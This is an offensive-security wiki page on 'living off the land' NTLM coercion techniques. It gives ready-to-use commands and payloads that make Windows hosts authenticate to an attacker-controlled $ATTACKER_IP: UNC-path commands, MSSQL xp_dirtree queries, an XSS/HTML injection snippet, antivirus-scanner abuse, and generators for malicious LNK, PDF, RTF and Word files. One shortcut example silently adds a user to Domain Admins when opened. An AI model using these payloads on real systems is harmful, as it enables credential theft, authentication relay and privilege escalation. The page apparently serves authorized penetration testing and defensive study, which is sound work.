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Living off the land

Theory

In the physical world, “living off the land” simply means to survive only by the resources that you can harvest from the natural land. There may be multiple reasons for doing this — perhaps you want to get “off the grid,” or maybe you have something or someone to hide from. Or maybe you just like the challenge of being self-sufficient.

In the technology world, “living off the land” (LotL) refers to attacker behavior that uses tools or features that already exist in the target environment. (source)

There are multiple "living off the land" techniques that can be used to force authentications, to capture hashes, or to relay authentications. In order to use those techniques, testers need to have an initial access to "the land", i.e. the tools or features the technique uses.

Practice

Those techniques will usually generate outgoing traffic on SMB or HTTP, hence requiring the attacker to set up an SMB or HTTP server to capture or relay the authentication (e.g. using tools like Responder (Python), Inveigh (Powershell), ntlmrelayx (Python) or Inveigh-Relay (Powershell)).

Command execution

On Windows machines, cmdlets like net or dir can be used to make the machine access a remote resource, hence making it authenticate. This leads to an outgoing traffic using SMB.

dir \\$ATTACKER_IP\something
net use \\$ATTACKER_IP\something

The rpcping command can also be used to trigger an authentication. The perk of this technique is that the auth won't carry a signing negotiation flag, hence allowing for relays

MS-SQL queries execution

On MS-SQL (Microsoft SQL) servers, the EXEC method can be used to access a remote SMB share. This leads to an outgoing traffic using SMB.

You can check who (apart sysadmins) has permissions to run those MSSQL functions with:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
EXEC master.sys.xp_dirtree '\\$ATTACKER_IP\something',1,1
xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

File explorer

On Windows machines, the file explorer can be used to access remote resources like SMB shares by supplying its UNC path (i.e. \\$ATTACKER_IP\something) in the research bar. This leads to an outgoing traffic using SMB.

Internet browser

Internet browsers can access HTTP servers by supplying their URL (i.e. http://$IP:$PORT/something) in the research bar. This technique is rarely used as it can pop up a prompt. This leads to an outgoing traffic using HTTP.

HTML documents / XSS

HTML documents can be crafted (or injected with content when successfully exploiting an HTML injection attack such as an Cross-Site Scripting) in way that could make browsers authenticate when accessing a remote resource. This leads to an outgoing traffic using SMB.

<script>
    language='javascript' src="\\$ATTACKER_IP\something\something.js"
</script>
<img src="file://$ATTACKER_IP/something/something.png"/>

Web server file inclusion

Windows Defender Remote Scanning

C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt

Trend Micro Remote Scanning

C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\

Shortcut files (scf, lnk, url)

SMB shares can be trapped with shortcut files that will automatically be handled by Windows' file explorer (e.g. a URL shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary). This leads to an outgoing traffic using SMB.

Shares an account has WRITE privileges over can be mapped with smbmap (Python).

smbmap -d "domain" -u "user" -p "password" --host-file targets.txt

Shortcut file names can be preprended with a @ symbol to put them on top of the share, to make sure the file explorer has to parse it.

The ntlm_theft (Python) tool can be used to generate multiple file types at once (lnk, scf, url, docx, xslx, htm, xml, pdf, ...).

ntlm_theft.py --generate all --server $ATTACKER_IP --filename "@FILENAME"

An LNK shortcut using an icon file located on a remote SMB share will be parsed by the file explorer that will request the icon file and authenticate if necessary.

Shortcuts with the .lnk extension have a lot of beneficial properties when it comes to stealth; they are an exception from the Windows setting to show or hide file extensions. Even when “hide known file extensions” is disabled, explorer.exe will only show the name, allowing us to let it end in “.jpeg”. A major downside is that they only allow 1024 characters for the whole command they execute. (source)

LNKUp (Python) is a great tool to generate malicious LNK shortcuts. They can be set with a remote icon file to generate outgoing SMB traffic and authentications but can also be set to execute commands when opened (i.e. double-clicked).

# Simple SMB trap with remote icon file
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk'

# SMB trap + command execution
LNKUp.py --host $ATTACKER_IP --type ntlm --output '@CONFIDENTIAL-ACCOUNTS.txt.lnk' --execute "net group 'Domain Admins' Pentester01 /domain /add"

Advanced traps

NetExec (Python) can be used to automatically push LNK files to a writeable share.

# Creation & upload
netexec smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP"

# Cleanup
netexec smb "target" -d "domain" -u "user" -p "password" -M slinky -O NAME="SHARE" SERVER="ATTACKER_IP" CLEANUP=True

PDF documents

Bad-PDF create malicious PDF file to steal NTLM(NTLMv1/NTLMv2) Hashes from windows machines, it utilize vulnerability disclosed by checkpoint team to create the malicious PDF file. Bad-Pdf reads the NTLM hashes using Responder listener.

Adobe has released a security update(APSB18-09)to address this vulnerability and CVE-2018-4993 is assigned for this vulnerability.

$ sudo python2.7 badpdf.py

      
        ______                 __       _______  ______   ________  
        |_   _ \               |  ]     |_   __ \|_   _ `.|_   __  | 
          | |_) |  ,--.    .--.| | ______ | |__) | | | `. \ | |_ \_| 
          |  __'. `'_\ : / /'`' ||______||  ___/  | |  | | |  _|    
         _| |__) |// | |,| \__/  |       _| |_    _| |_.' /_| |_     
        |_______/ '-;__/ '.__.;__]     |_____|  |______.'|_____|

        Author : Deepu TV ; Alias DeepZec 

        =============================================================
        
Responder detected :/usr/sbin/responder
Please enter Bad-PDF host IP: 
10.10.14.8
Please enter output file name: 
bad.pdf
Please enter the interface name to listen(Default eth0): 
eth0
[*] Starting Process.. [*]
Bad PDF bad.pdf created

RTF documents

Weaponizing .rtf file, which will attempt to load an image from the attacking system

{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://<ATTACKING_IP>/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}

MS Word documents

The ntlm_theft (Python) tool can be used to generate docx files to steal NTLM(NTLMv1/NTLMv2) Hashes. It will generate three docx files using the includepicture, remotetemplate, framset technics:

$ python ntlm_theft.py --generate docx --server $ATTACKER_IP --filename "@FILENAME"
Created: test/test-(includepicture).docx (OPEN)
Created: test/test-(remotetemplate).docx (OPEN)
Created: test/test-(frameset).docx (OPEN)
Generation Complete.

Lock screen wallpaper

Resources

https://github.com/Gl3bGl4z/All_NTLM_leak

https://mgp25.com/research/infosec/Leaking-NTLM-hashes/

https://www.securify.nl/blog/living-off-the-land-stealing-netntlm-hashes#office

https://www.ired.team/offensive-security/initial-access

https://github.com/mdsecactivebreach/Farmer

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